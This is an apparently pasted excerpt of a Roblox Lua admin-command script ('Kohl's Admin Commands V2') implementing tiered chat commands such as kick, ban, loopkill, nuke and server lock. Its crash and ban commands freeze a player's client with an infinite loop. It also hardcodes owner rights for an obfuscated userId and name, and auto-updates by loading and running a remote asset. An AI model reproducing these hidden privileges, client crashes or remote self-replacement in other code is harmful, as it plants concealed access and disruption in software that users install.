  2235. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2236. end
  2237.  
  2238. if msg:lower():sub(1,10) == "loopfling " then
  2239. local plrz = GetPlr(plr, msg:lower():sub(11))
  2240. for i, v in pairs(plrz) do
  2241. if v then
  2242. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2243. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2244. repeat
  2245. coroutine.resume(coroutine.create(function()
  2246. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2247. local xran local zran
  2248. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2249. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2250. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2251. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2252. end
  2253. end))
  2254. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2255. end
  2256. end
  2257. end
  2258.  
  2259. if msg:lower():sub(1,12) == "unloopfling " then
  2260. local plrz = GetPlr(plr, msg:lower():sub(13))
  2261. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2262. end
  2263.  
  2264. end
  2265.  
  2266. -------------------------
  2267. -- True Owner Commands --
  2268. -------------------------
  2269.  
  2270. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2271.  
  2272. if msg:lower():sub(1,3) == "oa " then
  2273. local plrz = GetPlr(plr, msg:lower():sub(4))
  2274. for i, v in pairs(plrz) do
  2275. coroutine.resume(coroutine.create(function()
  2276. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2277. end))
  2278. end
  2279. end
  2280.  
  2281. if msg:lower():sub(1,5) == "unoa " then
  2282. for i = 1, #owners do
  2283. coroutine.resume(coroutine.create(function()
  2284. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2285. end))
  2286. end
  2287. end
  2288.  
  2289. if msg:lower() == "settings" then
  2290. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2291. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2292. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2293. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2294. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2295. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2296. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2297. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2298. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2299. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2300. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2301. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2302. end
  2303.  
  2304. end
  2305.  
  2306. --------------------
  2307. -- Owner Commands --
  2308. --------------------
  2309.  
  2310. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2311.  
  2312. if msg:lower():sub(1,3) == "pa " then
  2313. local plrz = GetPlr(plr, msg:lower():sub(4))
  2314. for i, v in pairs(plrz) do
  2315. coroutine.resume(coroutine.create(function()
  2316. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2317. end))
  2318. end
  2319. end
  2320.  
  2321. if msg:lower():sub(1,5) == "unpa " then
  2322. for i = 1, #admins do
  2323. coroutine.resume(coroutine.create(function()
  2324. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2325. end))
  2326. end
  2327. end
  2328.  
  2329. if msg:lower():sub(1,5) == "nuke " then
  2330. local plrz = GetPlr(plr, msg:lower():sub(6))
  2331. for i, v in pairs(plrz) do
  2332. coroutine.resume(coroutine.create(function()
  2333. if v and v.Character and v.Character:findFirstChild("Torso") then
  2334. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2335. p.Anchored = true
  2336. p.CanCollide = false
  2337. p.formFactor = "Symmetric"
  2338. p.Shape = "Ball"
  2339. p.Size = Vector3.new(1,1,1)
  2340. p.BrickColor = BrickColor.new("New Yeller")
  2341. p.Transparency = .5
  2342. p.Reflectance = .2
  2343. p.TopSurface = 0
  2344. p.BottomSurface = 0
  2345. p.Touched:connect(function(hit)
  2346. if hit and hit.Parent then
  2347. local ex = Instance.new("Explosion", game.Workspace)
  2348. ex.Position = hit.Position
  2349. ex.BlastRadius = 11
  2350. ex.BlastPressure = math.huge
  2351. end
  2352. end)
  2353. local cf = v.Character.Torso.CFrame
  2354. p.CFrame = cf
  2355. for i = 1, 333 do
  2356. p.Size = p.Size + Vector3.new(3,3,3)
  2357. p.CFrame = cf
  2358. wait(1/44)
  2359. end
  2360. p:Destroy()
  2361. end
  2362. end))
  2363. end
  2364. end
  2365.  
  2366. end
  2367.  
  2368. --------------------------
  2369. -- Super Admin Commands --
  2370. --------------------------
  2371.  
  2372. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2373.  
  2374. if msg:lower() == "logs" then
  2375. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2376. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2377. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2378. end
  2379.  
  2380. if msg:lower():sub(1,9) == "loopkill " then
  2381. local chk1 = msg:lower():sub(10):find(" ")
  2382. local plrz = GetPlr(plr, msg:lower():sub(10))
  2383. local num = 9999
  2384. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2385. for i, v in pairs(plrz) do
  2386. if v and not ChkAdmin(v.Name, false) then
  2387. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2388. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2389. for i = 1, ]] .. tostring(num) .. [[ do
  2390. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2391. coroutine.resume(coroutine.create(function()
  2392. if plr and plr.Character then plr.Character:BreakJoints() end
  2393. end))
  2394. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2395. end
  2396. end
  2397. end
  2398.  
  2399. if msg:lower():sub(1,11) == "unloopkill " then
  2400. local plrz = GetPlr(plr, msg:lower():sub(12))
  2401. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2402. end
  2403.  
  2404. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2405. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2406.  
  2407. if msg:lower():sub(1,3) == "sm " then
  2408. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2409. end
  2410.  
  2411. if msg:lower():sub(1,3) == "ko " then
  2412. local chk1 = msg:lower():sub(4):find(" ") + 3
  2413. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2414. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2415. for n = 1, num do
  2416. for i, v in pairs(plrz) do
  2417. coroutine.resume(coroutine.create(function()
  2418. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2419. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2420. v.Character:BreakJoints()
  2421. wait(1/44)
  2422. v:LoadCharacter()
  2423. wait(1/44)
  2424. end
  2425. end))
  2426. end
  2427. end
  2428. end
  2429.  
  2430. if msg:lower():sub(1,6) == "crash " then
  2431. local plrz = GetPlr(plr, msg:lower():sub(7))
  2432. for i, v in pairs(plrz) do
  2433. coroutine.resume(coroutine.create(function()
  2434. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2435. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2436. end
  2437. end))
  2438. end
  2439. end
  2440.  
  2441. if msg:lower():sub(1,5) == "kick " then
  2442. local plrz = GetPlr(plr, msg:lower():sub(6))
  2443. for i, v in pairs(plrz) do
  2444. coroutine.resume(coroutine.create(function()
  2445. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2446. end))
  2447. end
  2448. end
  2449.  
  2450. if msg:lower():sub(1,6) == "admin " then
  2451. local plrz = GetPlr(plr, msg:lower():sub(7))
  2452. for i, v in pairs(plrz) do
  2453. coroutine.resume(coroutine.create(function()
  2454. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2455. end))
  2456. end
  2457. end
  2458.  
  2459. if msg:lower():sub(1,8) == "unadmin " then
  2460. for i = 1, #tempadmins do
  2461. coroutine.resume(coroutine.create(function()
  2462. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2463. end))
  2464. end
  2465. end
  2466.  
  2467. if msg:lower():sub(1,4) == "ban " then
  2468. local plrz = GetPlr(plr, msg:lower():sub(5))
  2469. for i, v in pairs(plrz) do
  2470. coroutine.resume(coroutine.create(function()
  2471. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2472. end))
  2473. end
  2474. end
  2475.  
  2476. if msg:lower():sub(1,6) == "unban " then
  2477. for i = 1, #banland do
  2478. coroutine.resume(coroutine.create(function()
  2479. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2480. end))
  2481. end
  2482. end
  2483.  
  2484. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2485.  
  2486. end
  2487. end))
  2488. end
  2489.  
  2490. function AdminControl(plr)
  2491. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2492. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2493. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2494. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2495. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2496. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2497. end)) end
  2498. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2499. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2500. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2501. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2502. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2503. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2504. end
  2505.  
  2506. if not ntab then script:Destroy() end
  2507. if not bct then script:Destroy() end
  2508.  
  2509. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2510.  
  2511. script.Name = "Kohl's Admin Commands V2"
  2512.  
  2513. if not ntab then script:Destroy() end
  2514. if not bct then script:Destroy() end
  2515. if not tcb then script:Destroy() end
  2516. game.Players.PlayerAdded:connect(AdminControl)
  2517. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2518. end
  2519.  
  2520. local mod = game:service("InsertService"):LoadAsset(100808216)
  2521. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2522. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2523. newac.Disabled = true
  2524. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2525. local old = 0
  2526. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2527. if new > old then
  2528. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2529. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2530. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2531. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2532. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2533. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2534. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2535. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2536. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2537. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2538. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2539. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2540. wait()
  2541. newac.Parent = game.Workspace
  2542. newac.Disabled = false
  2543. script.Disabled = true
  2544. script:Destroy()
  2545. else
  2546. CHEESE()
  2547. end
  2548. else
  2549. CHEESE()
  2550. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement